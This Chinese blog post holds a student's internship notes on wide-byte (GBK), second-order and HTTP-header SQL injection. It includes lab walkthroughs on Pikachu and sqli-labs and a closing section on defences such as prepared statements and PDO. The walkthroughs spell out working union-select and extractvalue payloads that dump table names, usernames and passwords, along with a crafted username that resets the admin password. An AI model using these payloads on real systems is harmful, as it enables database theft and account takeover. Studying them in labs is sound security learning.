粤嵌科技毕业实习Day11

粤嵌科技毕业实习Day11

宽字节注入

  • 原理

    • GBK 占用两字节,ASCII占用一字节

      函数执行添加的是ASCII编码,MYSQL默认字符集是GBK等宽字节字符集。MySQL在使用GBK编码的时候,会认为两个字符是一个汉字,前提是前一个字符的 ASCII 值大于128,才会认为是汉字。

      宽字节注入源于程序员设置MYSQL连接时错误配置为:

      set character_set_client = gbk

      这样配置会引发编码转换从而导致的注入漏洞。

    • 具体原理如下:

      • 正常情况下当GPC开启或使用addslashes函数过滤GET或POST提交的参数时,黑客使用的单引号 ' 就会被转义为: ' (转义斜杠\和单引号')
      • 但如果存在宽字节注入,我们输入%df%27时首先经过上面提到的单引号转义变成了%df%5c%27(%5c时反斜杠),之后在数据库查询前由于使用了GBK多字节编码,即在汉字编码范围内两个字节会被编码为一个汉字。然后MYSQL服务器会对查询语句进行GBK编码即%df%5c%转换成为汉字'運',而单引号逃逸了出来,从而造成注入漏洞。
  • 全局魔术引号

    • php在小于等于5.3.0版本的时候默认开启全局魔术引号(gpc),从5.4版本开始php废除全局魔术引号,人们则为了防止攻击者进行SQL注入而使用addslashes()函数来达到gpc的一个效果。
  • 特点

    • ‘单引号,“双引号,\反斜杠,NULL字符全部都会被加上反斜线
    • 当遇到字符型文本的查询接口,会绕不开原本sql语句的单引号而无法实现注入。
    # 1.比如本来进入MYSQL执行的SQL语句为:
    Select * from news where title = ‘{url
    # 等号后面的内容,此处为 1}’
    # 2.被php的gpc后为:
    Select * from news where title = ‘1\’‘ 
    # (这里查询的是 1\’ ,url编码为1%5c%27)(%5c是斜杠,%27是单引号)
    # 3.MYSQL实际查询语句:
    select * from news where title = '1\''
    # (大家要注意这是实际进入MYSQL的SQL语句)
    
  • 注意

    • 数据库没有gbk编码的话,php将查询语句经过gpc(全局魔术引号)或 addslashes()函数处理的话,php处理过的语句就是MYSQL执行的语句。

      其查找的内容为 1' (就是说你自己输入的单引号被添加转义符而成为了单引号实体) ,而数据库本来就没有 1' 这个内容。注入点自然而然是失效的。

      但是,如果数据库本身被GBK编码,如在MYSQL中设置"set character_set_client = gbk",则会导致由于编码问题,SQL语句实际执行时吸收php程序带来的转义符号,使攻击者绕过php自身的gpc防护而直接进行注入。

      如%df%5c,或者写成%df(%df这个字节 和 转义斜杠 ),这个编码是運字(%5c是转义斜杠的URL编码)。

      # 1.如union型查询语句的payload为:
      .php?title = 1 %df%27 union select 1,user(),3 from admin %23
      # (%23 为 注释符号 #,注释掉后面的引号来使语句没有语法错误)
      # 2.Gpc或addslashes函数处理后为:
      select * from news where title ='1%df\' union select 1,user(),3 from admin #'
      # 3.MYSQL执行的语句:
      select * from news where title ='1運' union select 1,user(),3 from admin #'
      

二次注入(二阶注入)

  • 二次注入漏洞是一种在Web应用程序中广泛存在的安全漏洞形式。相对于一次注入漏洞而言,二次注入漏洞更难以被发现,但是它却具有与一次注入攻击漏洞相同的攻击威力。
  1. 黑客通过构造数据的形式,在浏览器或者其他软件中提交HTTP数据报文请求到服务端进行处理,提交的数据报文请求中可能包含了黑客构造的SQL语句或者命令。

  2. 服务端应用程序会将黑客提交的数据信息进行存储,通常是保存在数据库中,保存的数据信息的主要作用是为应用程序执行其他功能提供原始输入数据并对客户端请求做出响应。

  3. 黑客向服务端发送第二个与第一次不相同的请求数据信息。

  4. 服务端接收到黑客提交的第二个请求信息后,为了处理该请求,服务端会查询数据库中已经存储的数据信息并处理,从而导致黑客在第一次请求中构造的SQL语句或者命令在服务端环境中执行。

  5. 服务端返回执行的处理结果数据信息,黑客可以通过返回的结果数据信息判断二次注入漏洞利用是否成功

    http://127.0.0.1/sqli/Less-24/index.php

  • 常见例子

    • 注册一个账号 :admin’-- -

      密码:123456

      最后通过修改账号密码,‘admin’-- -(注释了后面的密码)

      造成在不知道admin用户的情况下可以修改其密码

User-agent注入

  • User-Agent会告诉网站服务器,访问者是通过什么工具来请求的,如果是爬虫请求,一般会拒绝,如果是用户浏览器,就会应答。

  • 我们访问 http://127.0.0.1/sqli/Less-18/ ,页面显示一个登陆框和我们的ip信息

  • 当我们输入正确的用户名和密码之后登陆之后,页面多显示了 浏览器的User-Agent

    'and extractvalue(1,concat(0x7e,database(),0x7e))and '1'='1
    

Referer注入

  • HTTP Referer是header的一部分,当浏览器向web服务器发送请求的时候,一般会带上Referer,告诉服务器该网页是从哪个页面链接过来的,服务器因此可以获得一些信息用于处理。
  • 'and extractvalue(1,concat(0x7e,(select @@basedir),0x7e)) and '1'='1

Sql注入防御

  • 预编译(PreparedStatement)

    • 可以采用预编译语句集,它内置了处理SQL注入的能力,只要使用它的setXXX方法传值即可。

    • 原理

      • SQL注入只对SQL语句的编译过程有破坏作用,而PreparedStatement已经预编译好了,执行阶段只是把输入串作为数据处理。而不再对SQL语句进行解析。因此也就避免了sql注入问题。
       String sql = "select id, no from user where id=?";
       PreparedStatement ps = conn.prepareStatement(sql);
       ps.setInt(1, id);
       ps.executeQuery();
      
    • 采用了PreparedStatement预编译,就会将SQL语句:"select id, no from user where id=?" 预先编译好,也就是SQL引擎会预先进行语法分析,产生语法树,生成执行计划,也就是说,后面你输入的参数,无论你输入的是什么,都不会影响该SQL语句的语法结构了,因为语法分析已经完成了,而语法分析主要是分析SQL命令,比如 select、from 、where 、and、 or 、order by 等等。

    • 所以即使你后面输入了这些SQL命令,也不会被当成SQL命令来执行了,因为这些SQL命令的执行, 必须先通过语法分析,生成执行计划,既然语法分析已经完成,已经预编译过了,那么后面输入的参数,是绝对不可能作为SQL命令来执行的,只会被当做字符串字面值参数。所以SQL语句预编译可以有效防御SQL注入。

  • PDO(PHP)

    • PDO是PHP Data Objects(php数据对象)的缩写。是在php5.1版本之后开始支持PDO。你可以把PDO看做是php提供的一个类。

    • 它提供了一组数据库抽象层API,使得编写php代码不再关心具体要连接的数据库类型。你既可以用使用PDO连接mysql,也可以用它连接oracle。并且PDO很好的解决了sql注入问题。

    • PDO对于解决SQL注入的原理也是基于预编译。

      $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' ); 
      $data->bindParam( ':id', $id, PDO::PARAM_INT ); 
      $data->execute();
      
      # 实例化PDO对象之后,首先是对请求SQL语句做预编译处理。在这里,我们使用了占位符的方式,将该SQL传入prepare函数后,预处理函数就会得到本次查询语句的SQL模板类,并将这个模板类返回,模板可以防止传那些危险变量改变本身查询语句的语义。然后使用 bindParam()函数对用户输入的数据和参数id进行绑定,最后再执行.
      
    • 使用正则表达式过滤

      • 虽然预编译可以有效预防SQL注入,但是某些特定场景下,可能需要拼接用户输入的数据。这种情况下,我们就需要对用户输入的数据进行严格的检查,使用正则表达式对危险字符串进行过滤,这种方法是基于黑名单的过滤,以至于黑客想尽一切办法进行绕过注入。
      • 基于正则表达式的过滤方法还是不安全的,因为还存在绕过的风险。
      • 对用户输入的特殊字符进行严格过滤,如 ’、”、<、>、/、*、;、+、-、&、|、(、)、and、or、select、union

      image-20200919094915107

      • Web 应用中用于连接数据库的用户与数据库的系统管理员用户的权限有严格的区分(如不能执行 drop 等),并设置 Web 应用中用于连接数据库的用户不允许操作其他数据库设置 Web 应用中用于连接数据库的用户对 Web 目录不允许有写权限。
      • 严格限定参数类型和格式,明确参数检验的边界,必须在服务端正式处理之前对提交的数据的合法性进行检查
      • 使用 Web 应用防火墙

Pikachu宽字节注入

1、进入到宽字节注入

2、点一下提示

3、输入提示kobe和123456,显示下图

4、使用burpsuite抓包

5、正常情况下当GPC开启或使用addslashes函数过滤GET或POST提交的参数时,单引号 ' 就会被转义为: ' ,所以输入%df%27时单引号会转义变成了%df%5c%27,又由于宽字节注入的存在,%df%5c%会转换成为汉字'運',导致单引号逃逸了出来,从而造成注入漏洞。

因此,构造语句name=kobe%df' or 1=1#,看能获取什么信息。

结果爆出了所有id和email。

6、判断字段

kobe%df' order by 5#

猜字段为5时,报错。

猜字段为3时,报错。

猜字段为2时,没有报错,说明字段数为2.

7、查询库名

kobe%df’ union select 1,database()#

8、查询表名

kobe%df' union select 1, group_concat(table_name) from information_schema.tables where table_schema=database()#

9、查询users表的字段

kobe%df' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=(select table_name from information_schema.tables where table_schema=database() limit 3,1)##

10、获取所有账户密码

union select group_concat(username),group_concat(password) from users#


二次注入

1、进入到Less-24

2、先试试1,1

失败。

3、创建新用户。

这个用户的作用是可以在不知道admin密码的情况下修改其密码。

4、创建成功。

5、去数据库看一下。

6、再新添一个用户admin’ #

7、登录admin’ #,发现可以更改密码。

8、把原密码123改成abc

9、查看数据库。

发现admin’ #的密码并没有被修改,反而是admin用户密码被修改了。

查看更新密码的源码:

UPDATE users SET PASSWORD='$pass' where username='admin’ #' and password='$curr_pass'

可以发现,用户名中的#把指令的后半段注释了,也就是#' and password='$curr_pass'是没有执行的。通过特殊用户名,跳过了检测密码的环节。


http头系列注入

1、进入Less-18

2、登录admin

User-Agent会告诉网站服务器,访问者是通过什么工具来请求的,如果是爬虫请求,一般会拒绝,如果是用户浏览器,就会应答。

3、打开burpsuite

4、查看库名

将User-Agent的内容改为'and extractvalue(1,concat(0x7e,database(),0x7e))and '1'='1

5、查看表名

把上句的database()替换成(select group_concat(table_name) from information_schema.tables where table_schema=database())

6、查看users表的字段

(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users')

7、获得账户和密码。

账户:(select group_concat(username) from users)

密码:(select group_concat(password) from users)

本文作者:AlubNoBug
本文链接:https://www.cnblogs.com/AlubNoBug/p/13695301.html

posted @ 2020-09-19 10:44  AlubNoBug  阅读(259)  评论(0编辑  收藏  举报